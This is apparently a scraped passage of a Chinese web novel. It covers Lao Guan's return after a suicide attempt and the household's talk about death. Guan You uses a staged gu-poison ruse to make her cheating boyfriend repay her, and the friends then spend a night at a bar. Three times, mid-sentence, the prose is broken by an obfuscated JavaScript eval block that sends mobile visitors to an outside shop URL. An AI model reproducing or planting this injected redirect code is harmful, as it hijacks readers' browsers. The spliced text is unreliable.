“没哪样,我去洗澡咯。”琼云晕晕乎乎地起身往楼上去,刚起步就左脚绊右脚给自己绊一踉跄,楼梯爬到一半又绊一踉跄,险些滚下去。 琼云一会儿开心一会儿焦虑一会儿难过一会儿开心一会儿焦虑——从卧室走到浴室,从浴室滚进被窝,又从被窝爬到书桌前,再爬回被窝里去……她生理期内分泌紊乱情况下的情绪都没这么跌宕起伏过。 她犹豫了许久,才给屈朗发微信,问老关怎么样了,问今晚能不能回来,屈朗说他暂时还不清楚,于是她告诉他,要是能回来,就给她打电话,过了零点也没关系。 最后屈朗果然在半夜三更的时候回来了,他给琼云打了个电话,琼云下楼去给他开门,只见到他一个人。 “老关没跟你一起回来?” “医生说要住院观察。”屈朗迈过门槛,琼云把门关上,两人往里屋走去,屈朗继续说道:“我本来打算陪他过夜的,但是他叫我回来,他说他暂时不会自杀了,至少不会在医院里,也不会在你家里,让我跟你说一声,叫你放心。” “叫我放心?”琼云重咬“我”字,心想,他们在医院里一定聊了很多。 屈朗轻轻嗯了一声,然后十分突兀地问道:“你那个短头发的朋友……叫阿桐?明天还来找你玩吗?” 琼云皱眉,“我不知道,你怎么突然提起她?” “没什么,就问问。”屈朗的视线略有躲闪的意味。 如琼云所想,屈朗确实在医院里和老关聊了很多,还把琼云听闻有人落水后的反常状态和老关说了,据老关推断,这种反常状态是创伤应激反应,琼云应该有某个十分亲密的人是自杀或溺水离世的,老关认为是自杀的可能性更大一些,这就能解释琼云为什么能那么敏锐地捕捉到他自杀的欲望,并且作为琼云的朋友,理所当然十分了解琼云的阿桐会那么愤怒于他的“自杀”。 屈朗见识过了琼云可怕的创伤应激反应,不敢直接问她,但他认为可以从阿桐入手,所以才有此一问。 两人从工作室的楼梯上去,直达屈朗的房门口,琼云没有立即转身离开,她的脚步明显拖沓,源于她翻江倒海的内心。 屈朗看穿她的犹豫,单刀直入:“你有话想跟我说。” 琼云瞬间心虚得浑身不自在,双拳握了又松,松了又握,掌心开始隐隐发汗,她最后无声张合了几下嘴唇,选择将右腕抬起,指着上面的小葫芦,用意模糊地道:“这条五色绳……”她洗澡时将五色绳摘掉了,洗完擦干身体后才戴回去,所以五色绳是干的,还保持着原样。 “你弄坏了?那肯定是质量不好。”屈朗走到她跟前,仔细观察了一下,这手腕好白、好细,这骨骼和筋脉长得真漂亮,这五色绳也是条手绳…… “不,不是……”琼云有些结巴,“它,它就是………因为,呃,按……按照习俗……” 琼云话说到一半戛然而止,因为屈朗莫名其妙猝不及防连滚带爬一个滑铲,铲进了房间,紧接着把他那颗红得像车厘子的脑袋从门缝里挤了出来。 “你干嘛?”琼云觉得这画面有点像闪灵,在这深更半夜,氛围突然诡异了起来。 “没干嘛,你继续说。”屈朗双目瞪得像铜铃,两米的距离,喘得好像刚体测完1000米。 “……”琼云犹疑了一会儿,才继续说道:“按照习俗,这个五色绳到火把节那天要摘下来烧掉。” “啊?!”屈朗无比惊讶的表情呈现在通红的脸上像是怒不可遏。 “那老板肯定没告诉你,不然这些最值钱的小挂件就卖不出去了。”琼云拨动了一下手腕上的小葫芦。 “一定要烧掉吗?”屈朗的面容近乎狰狞——定情信物的下场是被烈火焚烧、灰飞烟灭,这象征着他俩的爱情必然走向毁灭! “也不是一定要烧掉,还有一种……是端午节过后,下第一场雨的时候,扔进河里,让它顺着河漂走。” ——落花有意!流水无情! 她在暗示他! 屈朗佯装潇洒,一边摇头一边微笑着道:“没关系啊,送给你的,就是你的了,随你怎么处置。” 结果琼云很窝囊地说:“其实严格按照习俗来,是必须在太阳出来之前戴上的,我们也没照做,要不等过两天下雨的时候,用雨水洗洗算了……” “好!”这个可以接受,屈朗猛烈点头,然后急切地问道:“你还有事吗?” “呃……”琼云心想,焦虑了半天,这件事就这么不明不白地结束了吗? “没事你就回去吧!” “……”这么着急赶她走,琼云心想他是不是有三急中的哪一急,但:“好像……是没什么事了。” 话音刚落,屈朗就砰的一声把门关上了,他的确有一件急事急需解决。 喜欢的女孩没穿内衣,就穿条单薄的睡裙在他面前晃来晃去的,简直不把他当男人看,两条胳膊还光溜溜的,系着他送的手绳,不硬的话可以去修仙了! 不过这当中也有最近压力太大的原因,作为一个欠了一屁股债的穷光蛋,创业刚刚起步,第一桶金还遥遥无期,今天过节好不容易开开心心出去玩一趟,结果认识的人差点死在自己面前,而且过两天高考成绩也要出来了——大脑无力承载,便化压力为性.欲。 在浴室里解决完急事,洗了个澡出来,处于贤者时间的屈朗把相机里的照片导进了电脑,顺便打开手机看看有什么新收获,结果一点进软件,就发现信息爆满,点赞评论99+,私信关注一大摞。 他惊喜了片刻,随后臭屁又无奈地哼笑了一声——是金子总会发光的,没办法,谁让他天生就这么优秀。 但他在翻阅这些信息的过程中,得意的情绪和笑容逐渐被惊愕所分解和占据,因为他发现这泼天的流量其实是从管悠那儿引过来的…… 隔天一早,屈朗去医院把老关接回来,老关回来的第一件事就是洗澡换衣服,因为他那身被拥有许多水生小动物的湖水腌制过的衣服没有洗过,只是阴干,所以浑身上下散发着腥臭的气味,再不洗,就会被猫咪们错认成猫罐头的原料,衍生出“猫食人”的恐怖民间传说来。 换过衣服后,屈朗再次充当导盲犬,陪着高度近视的老关去买新手机、新电话卡和新眼镜。老关花掉大几千,买了个教训,他决定下次跳河、跳江、跳湖、跳大海亦或企图把自己淹死在浴缸里之前,一定要把手机和眼镜放在岸上,否则如果没自杀成功,会很麻烦的。 买回来的时候,时间已经来到了中午,管悠刚刚睡醒,画了全妆呵欠连天地从房间里出来,老关跟她要了电话号码,把医药费还给了她。 琼云在堂屋里摆起了大圆桌,让管悠和屈朗蹭到老关的慰问餐。 饭后,琼云又泡了一壶普洱,容四人围坐在茶几前品茗,使这场谈话的氛围尽量放松,尽量不显得像针对老关自杀行为的诘责。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270991|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>琼云最先切入正题:“你上次没说完上帝在第七天创造了什么,我后来在网上查了一下,上帝在第七天什么也没有创造,非要说创造了什么,那就是创造了礼拜天,他在前六天完成了所有工作,第七天就安息了,所以你订了七天的房间,是想像上帝一样安息?” 不等老关做出任何回应,管悠率先道:“原来你是不想上班啊?不想上班很正常嘛,好逸恶劳,好吃懒做,这属于人的天性。” 琼云接着道:“但上帝是永生的,他没有死,他一直在介入人类的因果,维持宇宙的运行。” 琼云说得信誓旦旦,屈朗不由得好奇地把身体倾向她,用一双稚气水灵的大眼睛瞅着她:“真的吗?” 琼云也扭头看向他:“对基督徒而言,上帝就是造物主,整个宇宙都是造物主的意志,那么只要这个宇宙还在运行,造物主就没有死啊。” 屈朗悄咪咪地说:“有道理。” 老关用食指和拇指捏着杯沿来回揉搓,使杯子轻轻转动,“你们知道人死后的世界是什么样的吗?” 琼云说:“人死后魂魄会离开身体,转世投胎,但如果有强烈的遗憾和怨念,就会变成鬼。” 老关道:“但是你没有真正死过。” 琼云耸肩:“这是古人的经验。” “诶,”屈朗突然新奇地道:“不是说人在濒死的时候可以看到死掉以后的世界吗?有些人说能看到白光,有些人说能看到黑白无常,你昨天晚上有没有看到什么?” 老关摇头,“我不清楚。” 屈朗有些失落:“你自杀那么多次一次都没有看到哦……” 在老关眼里,屈朗还是个孩子,于是他宠溺地笑道:“你想知道,我死了以后会来告诉你的。” 屈朗的身体略微往后仰,手掌竖起做推辞动作:“那,那,那没必要。” 琼云一直沉浸在自己的思路里:“你想要自杀,就说明你很痛苦。” 老关点了点头:“人的痛觉是保护机制,感受到痛苦就说明受到了伤害或者生病了,受伤、生病,那就要吃药、医治,但如果治不好,人就会一直痛苦下去,承受不了的人就会选择自杀,就像医院里有很多癌症患者最终并不是病死的,而是自杀的,有的是因为承担不了昂贵的医药费,不想连累家人,也有的是因为被病魔折磨得太痛苦,而现代医学又给不了他们治愈的希望。” 琼云继续刚才没说完的话:“但是生前痛苦的人最容易变成厉鬼,投不了胎,你有没有想过,死了以后会变成鬼一直游荡在人间呢?那样你还是会痛苦的。” 老关回道:“你也说这是古人的说辞,并不一定是真实的,如果所有留有遗憾痛苦死去的人都会化作厉鬼,那为什么那么多坏人可以逍遥法外,不被因他们而死的鬼魂报复呢?” 琼云辩驳道:“选择报复的鬼魂也有,人死后对比人生前的个性是不变的,甚至会放大,有些人懦弱胆小,就不敢去报复,有些人有仇必报就会把害死他们的人一起带走,还有些人是非不分自私自利,就会去纠缠无辜的人。” 屈朗又开始好奇:“你怎么知道这么多?” 琼云摊掌:“口口相传嘛。”她祖上是盗过墓的,很讲究这些,这是融在血脉里的知识,而且她小时候身体很差,经常看到不干净的东西,理论和数据都有了,不由得不相信。 管悠突然感慨道:“听你们两个聊天感觉好哲学好有文化,我都没太听懂,诶,”她突然倾身向老关,“我听琼云说你还会写诗啊,我男朋友也会写写文章什么的,他还出过书呢,改天我介绍你们两个认识啊,不,改什么天,就下午。” “呃咳咳。”屈朗突然跟个嗓子眼被痰封死的老大爷一样造作地清了清嗓子,引起在座所有人的注意,然后对管悠道:“你跟你男朋友和好了啊?” 管悠一脸嫌弃:“有痰出去吐,别在这恶心人。” 屈朗绝望地闭了一下眼睛,问道:“你看到评论区了吗?” 管悠疑惑:“什么评论区?” “就是你发你和你男朋友合照的……” 管悠连忙掏出手机点进软件,屈朗见她似乎完全不知情的样子,疑惑道:“不是你自己删掉的?” 20.第 20 章 管悠发现她发布在社交平台上那条拥有自己与阿源合照的贴子被删除了,但她没有做过这件事情,系统也没有任何提示这是经人举报而删除的。 真是见了鬼了。 “你昨天晚上跟你男朋友见过面吗?”屈朗问道,他和琼云已经围到管悠左右,只有老关仍坐在原位悠哉悠哉地喝着茶。 管悠回想:“他昨天晚上突然找我和好,叫我去看电影。” “他有没有碰过你手机?” “他拿我手机拍照,说我手机贵,拍照功能比他手机好……”管悠突然明白过来,发出一声暴喝。 屈朗打了个响指,往自己手机上戳了几下,把一条私信内容怼到管悠面前,口吻轻巧地说道:“你被绿了。” 【小哥哥,我是从那个被小三的小姐姐的贴子找过来的,问问排期(睁大眼睛萌萌表情)】 五秒钟之后,屈朗把对话往下扒拉,点进一张图片,那是管悠那条贴子生前的评论区截图,由自称阿源现任女友发布的一条附带聊天记录截屏的长评论,图中图显示的微信头像虽然很小很模糊,但管悠仍一眼看出那就是阿源的头像。感谢人类在吃瓜的时候总是不嫌瓜占手机内存的,屈朗往右划又扒拉出两张图片,一张是聊天记录的原图,一张是阿源的睡颜照实锤,聊天记录的时间显示发布该条评论的女生至少比管悠早认识阿源两个月。 管悠看完证据,气得浑身发抖,猝不及防拍案而起,如一头斗牛,差点把左右两边的琼云和屈朗顶翻,屈朗的手机也险些牺牲。 “我要弄死他,我要弄死他,我要弄死他……”管悠面红筋暴,气喘如牛,立即戳进电话簿打算把阿源骂一顿,想了想又觉得去他大爷的,她要直接找到阿源把他揍得他妈都不认识,于是把手机往兜里一揣,扭头就往外走。 琼云疾声叫住她:“让屈朗陪你去!你手机里的证据都被删掉了!这种人的心理素质,没证据他绝对死不承认的,到时候还反手报警说你寻衅滋事!” “有道理!”管悠走到半道又折回来,把屈朗这只宝可梦一起带走。 琼云突然又想起一件事来,朝管悠喊道:“你给那男的花了多少钱!?”她想管悠对待没认识几天的屈朗都那么大方,那谈起恋爱来一上头还得了? “我不知道!”管悠止步回头,脸上一副觉得自己很荒唐的表情,“我他妈都没算过!这不要脸的天天跟我哭穷,出去吃饭都是我买单,衣服还故意穿破洞的,搞艺术的都是穷光蛋!” 屋里的老关和师庆突然觉得心脏中了一箭。 琼云道:“那你下手轻点,打重了他肯定会坑你医药费的,你要是不在乎这个钱当我没说。” “我操凭什么!?”管悠勃然大怒,“我没叫他把钱还回来都算不错了,还敢跟我要医药费?!” 琼云给管悠分析道:“你看看他比你先一步发现事情败露,而且一点都不慌,先来试探你,试探出你还不知情,就找机会把你手机里的证据全部删掉,这种人多精啊,一般人能玩得过他?” 屈朗发出疑问:“那怎么办?” 琼云走到管悠跟前,问道:“你觉得打到什么程度能出气?恋爱纠纷,男方有原则性错误在先,你扇他几个耳光,警察是不会管的,但他肯定不会还钱,你想把给他花的钱要回来吗?” 管悠转动右腕,跃跃欲试,“你有办法?” “你不是说想介绍老关和他认识吗?给他发微信,把他骗过来。” …… 阿源昨晚听管悠提起过老关这个跳湖自杀的怪人,所以对管悠请他来帮忙开导老关这件事深信不疑,同时为了维护他善解人意的人物设定,他决定来帮这个忙。 阿源送管悠回来过很多次,所以他把路线记得很清楚,分布在古城内近千个监控摄像头可以清楚拍到他是如何一步一步自己走到琼云家门口的,没有任何人逼迫他这么做。 阿源是个很注重细节的男人,他今天见到管悠的第一眼就觉得管悠看起来有点不大对劲,尽管她是笑着把他迎进去的。 进到屋里以后,他立即被一个穿着苗族服饰的女孩吸引了注意,这女孩他从没见过,她的目光阴恻恻的,从进屋以来一直盯着他看,盯得他很不舒服,紧接着他的嘴唇突然撞到一个饱满的、富有弹性的东西,鲜甜的汁水快速从唇缝溢进口腔,余光可以看到这件东西是白色的,应该是一颗荔枝或桂圆。 管悠很快就告诉他答案:“这荔枝很甜,你吃吃看,我把中间的籽给你剥掉了。” 阿源微笑着看向管悠,张开嘴唇把荔枝纳入口腔,咀嚼两下吞进肚子里,附和道:“是很甜。”管悠一耳光扇到他脸上。 阿源被打得措手不及,脸都被扇歪过去,他捂着火辣辣的巴掌印,惊恐地道:“宝宝你干嘛?” “别这么叫我,恶心!”管悠终于能释放自己真实的情绪,一边暴怒一边揉搓打疼的右掌,“以为把我手机里的证据删掉我就永远不知道了,你把我当傻逼啊!” 屈朗噔噔噔跑过去向阿源展示证据。 阿源瞥了一眼就明白了,反咬道:“难怪你找我女朋友给你当模特,在这等着呢?” 管悠又一耳光甩过去:“你他妈要不要脸?!自己腿劈成八爪鱼了看谁都不干净!” 阿源被扇得两边对称,却回管悠以拥抱:“宝宝我没说你,你不要听外人挑拨离间,我要是做了对不起你的事,我今天敢来吗?” “你还他妈给你我装!”管悠一把把阿源推开。 阿源直接一屁股坐到地上进行一个瓷的碰:“我头好晕,你给我打出脑震荡了。” 琼云在旁边默默吐槽道:“怎么老勾引别人女朋友?” “我没有~”屈朗又是跺脚,又是摆肩,一路撒娇撒到琼云跟前,“我只喜欢你。” 琼云受到了惊吓,头皮发麻到感觉快从头盖骨上掀开了。 身着苗族服饰的神秘女子小臂上也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295952|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冒出了一层鸡皮疙瘩,她的视线终于从阿源身上挪开,移动到了屈朗身上,心想这男的怎么这么恶心。 此刻,老关仍坐在茶几前品茗。 管悠蹲下去,点计算器算账给阿源看:“我算过了,我给你买的衣服、鞋子、键盘、钢笔……我请你吃的饭就算了,毕竟我自己也吃了,就给你折半,算下来我总共给你花了五千六百二十七块四毛一,减掉你给我点的奶茶买的电影票,凑个整,你转我五千,从此我们就各不相干。” “不是你自己愿意给我花的吗?我逼你了?”阿源发出一阵冷笑,笑得身体都在颤抖,“你跟我在一起这段时间,被我伺候得很开心啊,连失恋的事情都忘了,那你给我花点钱很正常吧?你去牛郎店还没这么便宜呢,男的花钱养女的,分手以后敢把钱要回去的哪个不挨骂?你怎么好意思跟我把钱要回去的,现在男女平等啊姐姐。” “你是不是男人?!”管悠又一耳光甩过去。 “打,接着打!”阿源指着自己脸上的别致腮红,威胁道:“敲诈勒索是吧,这都是证据,你不怕坐牢你就接着打!反正我没钱,我要有钱就花钱找别人伺候我了,我还用得着来伺候你吗?!” 这下轮到管悠冷笑,她站起身,抄手抱胸,居高临下地看着阿源,道:“你说的没错,我房东确实是个好人,为了你这点破事,她特意找她会下蛊的朋友来帮忙。” “下蛊?”阿源扭头看了眼穿苗族服饰的女孩,嘲笑道:“你是不是电视剧看多了?” “知道刚才我喂你那颗荔枝为什么把中间的籽去掉吗?”管悠刻意压低嗓音恐怖地说:“因为蛊虫下在里面。” 阿源再次看向那个苗族女孩,女孩正摸着自己的脸,她手背上有一只彩色的蜘蛛,那只蜘蛛沿着手指爬到女孩的脸上,罩住了女孩的一只眼睛。 “哕。”阿源开始用力抠自己的嗓子,翻身跪在地上,腰弓得好像被人狠狠踹了肚子一脚,抠嗓子抠得眼泪口水糊了满脸。 阿桐的阿妈是苗族人,但到了阿桐这一代,生活习性几乎和汉族无异了,阿桐不会苗语,平时也不穿苗族的传统服饰,但今天琼云突然叫她换上苗族服饰来她家玩会儿蜘蛛,顺便一起吃顿晚饭,她就来了,虽然一开始也不知道具体什么原因,反正人一到,琼云就给她安排角色——一个沉默寡言的会下蛊的随身携带宠物蜘蛛的神秘苗疆女子。 “你现在抠嗓子吐出来也没用,你把它吃进去就钻你身体里了。”管悠冷酷地说道。 阿源只吐出些酸水,他抬起狰狞的脸来,用湿漉漉的手去抓管悠的脚脖子,哀求道:“你没必要用这种方法,我保证我再也不找别的女人了……” 管悠差点跳起来,一脚踹开他恶心的手,“你也太自恋了吧,你以为我给你下的情蛊啊?” “那你想怎么样?” 管悠扬起脑袋,有点小骄傲,“欠多少债就还多少,我又不是那么恶毒的女人,手机。”她勾勾手指。 21.第 21 章 管悠经报仇雪恨后心情格外美丽,乐此不疲地在琼云家的所有生物面前嘲笑阿源,包括和她代沟大如马里亚纳海沟的琼云奶奶、院子里的花、阿桐的蜘蛛。 阿桐今晚就要正式开始她的驻唱生涯,因此她在琼云家吃过晚饭后就匆忙拎着蜘蛛回了家,更换着装,赶去酒吧做准备工作。 而老关因嫌弃管悠持续重复无聊的内容,在饭后也立即回了房间。 可以给予管悠不尴尬反馈的同代人越来越少,于是管悠逮着琼云和屈朗使劲薅,尽管这两人也各自有各自的事情要忙,琼云忙着刨木屑,屈朗忙着捣鼓照片和约拍排期。 屈朗是把笔记本电脑拿到楼下来捣鼓的,虽然在身边有一只叽叽喳喳的类人鸟的情况下并不适合工作,但他作为一个遵纪守法,从来没去过酒吧甚至连酒都没喝过(受长辈怂恿拿舌尖与白酒进行0距离接触的经历不算)的刚成年人类很期待等会儿和琼云一起去酒吧为阿桐捧场,以至于迫不及待提前进入到一个相对热闹的环境当中进行预热,并做好时刻动身的准备。 他今天已经找机会偷偷问过阿桐关于琼云昨晚反常状态背后的缘由,但阿桐无情拒绝了他。 “如果你觉得她不会愿意把原因告诉你,也不要来问我。”当时阿桐是这么回复他的。 他从阿桐的语气和神态中感觉到了阿桐似乎有一点讨厌他,据管悠分析,阿桐的这种“讨厌”情绪来源于一种类似有女儿的父母害怕自家白菜被猪拱了的心态,尤其在今天见识到了阿源的渣男行径之后,她对他这只猪的提防心只会更重。 于是屈朗决定今晚去酒吧花点小钱点两首歌提升一下自己在阿桐心目中的形象气质,至少让她下次准备在琼云面前挑拨离间的时候良心受到一些谴责。 三个小时之后,他也的确兑现了这个只有他自己知道的承诺。 “扫码。”阿桐站在光线昏黄的舞台上,向琼云屈朗管悠三人出示一张锃亮的二维码。 “你什么歌都能唱吗?”屈朗问。 阿桐皱眉,觉得他在质疑自己的水平,于是语气不善地回道:“曲库里有的都能唱。” 屈朗又问:“能点几首啊?” 阿桐答:“一首五十,两首一百,三首一百五,多点不打折。” 管悠嘿了一声,吐槽道:“怎么不能打折?你这老板真不会做生意。” 琼云道:“点歌的钱老板不抽成,全部给驻唱。” 管悠立刻改变了看法,笑呵呵地道:“这老板挺良心的。” 琼云说话大喘气:“但是底薪很低。” 管悠秒收笑容:“这老板真抠。” “你们两个点了吗?”屈朗探头探脑瞅两人的手机屏幕,“你们先点。” “懂事,长幼有序啊,姐姐我先点了,你俩慢慢挑。”管悠扒拉了两下小程序里的曲库,挑了首很经典的粤语歌。 然后琼云点了两首,一首中文的,一首英文的,凑个一百整,屈朗一看,这不行啊,胜负欲上来了,他得点三首。 于是这一晚,阿桐的收入至少多了三百块。 点完歌,管悠见吧台还有很多空位,于是拉两个新兵蛋子去吧台坐。 接待他们的调酒师是个方脸男人,看起来很面善,嗓音也很有磁性,管悠和他聊得十分融洽。 点酒的先后顺序也是按照年纪来,管悠要了杯螺丝刀还有两碟小零食,琼云不懂,让调酒师给她推荐,酒精度五十以下都行。 管悠和屈朗一听,纷纷战术后仰,琼云坐在两人中间,让整幅画面惊讶得很对称。 “你知道五十度的酒什么概念吗?”管悠扑回来,把胳膊搭在吧台上。 琼云摊手:“平时喝的苞谷水差不多就这个度数啊,有的比这个还高。” 屈朗崇拜得两眼放光。 管悠的脑袋再次后仰:“嚯,深藏不露啊。” 调酒师用很有磁性的鼻音哼笑了一声,向杯里的Vodka和冰块加入橙汁,然后拿长长的搅拌棒绕着冰块一边搅动一边道:“本地人,来杯尼格罗尼,纯酒,不加糖浆不加果汁,30度左右,口感层次很丰富,喝起来不像糖水,但入口有点苦,能接受吧?” “好。”琼云点点头。 调酒师颔首,接着转向屈朗,“你呢?需要推荐吗?” 屈朗小幅度摇了摇头,松弛地将右肘搭在吧台上,像个经常出入酒吧的熟客,手腕抬起,打了个响指,食指自然伸出:“A martini.Shaken,not stirred.” “你拽什么洋文?”管悠很鄙视他的装逼行为。 屈朗一秒破功,双手上下翻飞,身体左摇右晃:“007没看过?不帅吗?我酝酿很久了,不帅吗?” 管悠翻白眼。 于是一张大脸突现到琼云面前,激动地重复道:“不帅吗?” 琼云用一只手隔开两人的脸和视线,转到一旁,笑眯了眼睛。 她觉得挺帅的。 管悠能看到她的表情,但显然会错了意,指着她对屈朗说:“她在嘲笑你。” “我觉得很帅啊。”没人夸,屈朗就自己夸自己,还重复了一边刚才的装逼行为。 琼云挨着脸把手放下,顺便把上扬的嘴角扯下去,翻开酒单本,指着上面各种马天尼向屈朗问道:“你要的是哪一种马天尼?好多马天尼。” “Vodka.” “Vo……” 调酒师抢答,显然他不是第一次见到屈朗这种爱装逼的人了。 “懂。”屈朗竖起大拇指。 调酒师将一块橙皮在杯口上方拧了一下,橙皮的油脂和清香像烟花般喷溅出来,随后拿起崭新的半片橙子卡在杯口,一杯螺丝刀就完成了,优雅地提起放到管悠跟前。 管悠接过螺丝刀,对屈朗劝道:“马天尼度数很高的,你能行吗?第一次喝酒就整这么高难度。” 屈朗不屑地道:“能有多高?有白酒高吗?” “你喝过白酒?你刚才不是说你从来没喝过酒吗?”琼云质疑道。 “呃……”屈朗又露出痴呆的表情。 “不诚实。”管悠拍了一下琼云的肩,“这种男的,第一轮就pass掉。” 提起这个,屈朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303297|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就来劲了:“你那个眼光能把自己坑死,就别指导别人了,误人子弟。” 管悠被戳到痛处,眼神一下凶狠起来:“你再说一遍。”语气却冷静得可怕。 “……”屈朗秒怂,“对不起。” “哼嗤。”琼云莫名觉得好笑,转动椅子看向舞台,舞台的光线比刚才更亮,阿桐坐在高脚凳上,手里握着麦克风,眼睛望着谱架,音乐逐渐响起,第一首歌就是管悠点的《喜帖街》。 “好景不会每日常在,天梯不可只往上爬……忘掉爱过的他……忘掉有过的家……终须会时辰到,别怕,请放下手里那锁匙,好吗?” 管悠放下得很快,有帅哥来搭讪,她就抛下琼云和屈朗,跟人去卡座聊了。 琼云眼看三首歌都快唱完了,屈朗的Shaken,not stirred马天尼仍旧没有半点浅下去的迹象,不由得调侃道:“你要打包带走啊?” 屈朗有点尴尬地捡了片洋葱圈塞进嘴里,嚼了两下,皱皱巴巴地说:“苦的。” 琼云笑道:“那让调酒师给你倒点糖浆。” “那——多没面子。”屈朗扭头对上一个粉发女生的视线。 这女生径直朝他走过来,到了跟前,屁股一扭坐到旁边的座位,放下手里喝掉半杯的酒,开口就问:“你有女朋友吗?”一边问还一边瞥了眼琼云。 “没有。”屈朗回答得很干脆。 “那你想不想要我的微信啊?”这女生对自己的外貌很有自信,不说她想要别人的联系方式,却问别人想不想要她的。 屈朗对这女生很好奇:“你是本地人吗?调酒师说来这里的基本上是本地人,来旅游的都去对街网红酒吧。” “嗯。”粉发女生点点头,眼珠骨碌一转,“你是来旅游的,你要在这里玩多久?” “整个暑假,开学之前我都在。” “你还在上学?” “你是本地人,那时间很充裕啊。”屈朗看起来十分兴奋,掏出手机就把二维码给亮出去了。 粉发女生扫了码,两人立刻加上好友。 屈朗给她看自己拍的照片,两人热聊起来。 “看起来很专业,你是学摄影的吗?” “没有,我自己学的,你想拍吗?七月以后排期多,但最近挺空的。” “你这算打暑假工?” “算吧,其实我一开始只是想出来玩的,但我爸把我手机里的钱全转走了,一分都没给我留哈哈哈哈。” “……” 屈朗自嘲地独乐了很久,粉发女生突然起身扭头就走。 屈朗望着那无情离去的背影,越笑越干巴,很快笑容就像血痂一样紧绷绷地凝结在脸上。 “我是不是太直接了,琼云?”屈朗扭头……人呢? “琼云?琼云!”屈朗起身朝四周打量,最后发现琼云坐到了舞台旁边的散座上。 琼云有听到屈朗在叫她,却假装没听到,撑在下颌的手还刻意张开,用力捂住耳朵,她目前不想理他——在喜欢的女生面前,面对前来搭讪的其他异性,应该是这种态度吗?什么东西!? 22.第 22 章 屈朗拾起难喝得要命的马天尼和两碟被管悠抛下的小零食,准备搬迁去琼云挑中的新地块。 可还没等他走到琼云跟前,一名不速之客就侵占了本该属于他的座位。 这位不速之客是个发型明显拿发胶抓过的时尚男人,身上有股狂野的香水味,他坐下时掀起一阵微风,将这股味道强势地灌进琼云的鼻腔,琼云觉得那是一种在烟草里夹杂胡椒粉,然后用清凉油打湿的味道。 “以前从没见过你,是第一次来吗?看你的气质和打扮不像经常来酒吧的样子……”男人说到这里突然微眯起眼睛,带着笑意凑近琼云,看着琼云的眼睛,一边摇头一边用低沉性感的气泡音说道:“很不一样。” 琼云虽然被油得有点起鸡皮疙瘩,但还是如实回答他:“我是第一次来,驻唱是我朋友。”她偏脸指舞台上的阿桐。 “原来如此。”男人抬起下巴,同时眉毛上扬。 岂有此理!这男的怎么好意思上前搭讪呢?!没看到——屈朗愤怒地看向琼云的右腕,却立即熄了火,琼云穿的是长袖,袖口把两人的情侣款五色绳遮住了。 于是屈朗像酒保一样理直气壮地冲过去,把难喝得要命的马天尼和两碟小零食放到两人中间的小圆桌上,然后伸出双手将琼云的右袖口往里折了两折,使五色绳漏出来。 琼云的双眼写满“莫名其妙”四个大字。 “这是你弟弟吗?”男人和蔼可亲地朝屈朗看了一眼。 可——恶—— 竟然完全不正视他,不把他当做竞争对手看待吗? 屈朗气得拿起马天尼往嘴里猛灌一大口,又苦又辣的味道深深伤害了他的味蕾和口腔黏膜,使他的面容扭曲起来。 但事已至此,总不好吐出来。 “对啊。” 琼云轻描淡写的两个字让屈朗在“咽下去”or“喷出来”的两难之间选择了“喷下去”,这使得他的咽喉和胃壁甚至是气管也遭受了剧烈的伤害,整个人瞬间被酒精和咳嗽声烧得火辣辣红彤彤的,就像植物大战僵尸里的火爆辣椒,还是僵尸近在眼前,即将爆炸的那一种。 “谁是你弟啊?你怎么胡说八道?”屈朗清理出气管中的异物,把剩下半杯马天尼往桌上一搁。 琼云像宫斗剧里的恶毒女配一样慵懒地抬起眼帘,乜斜着眼看人:“你年纪比我小,难道不是吗?” “年纪比你小,我也不是你弟啊,咱俩没有血缘关系。” “那你一开始为什么要叫我姐姐呢?” “那只是个称呼。” “弟弟也可以只是个称呼啊。” “那你这样说不让人误会吗?” “我是他房东。”琼云上身前倾,视线落回对面气味狂野之男子的脸上,结束战斗,针对上述事实,原告方屈朗无可辩驳。 气味狂野之男子用性感的气泡音笑了两声,道:“我一开始以为你们是情侣,心里还有些失落,后来看到有女生去搭讪,你这位弟弟欣然接受,才知道原来不是。”他绿茶地耸了耸肩。 屈朗目瞪口呆,一句话就表达出“我卑微地关注你很久”和“旁边这位无论是不是竞争对手的雄性生物,在接受别的女生搭讪以后就不值得你再多给眼色”两层重量级含义。 好高的段位,直接一脚把他踢出局。 但这也让屈朗顿时明白了自己为什么被冷落,他扯了扯琼云的袖管,念经似的唤琼云的名字,和她道歉,向她解释: “我只是想问那个粉头发的女生要不要拍照,但是我好像表现得太急功近利了,她连个借口都不找就直接走了。” 琼云完全视屈朗为空气。 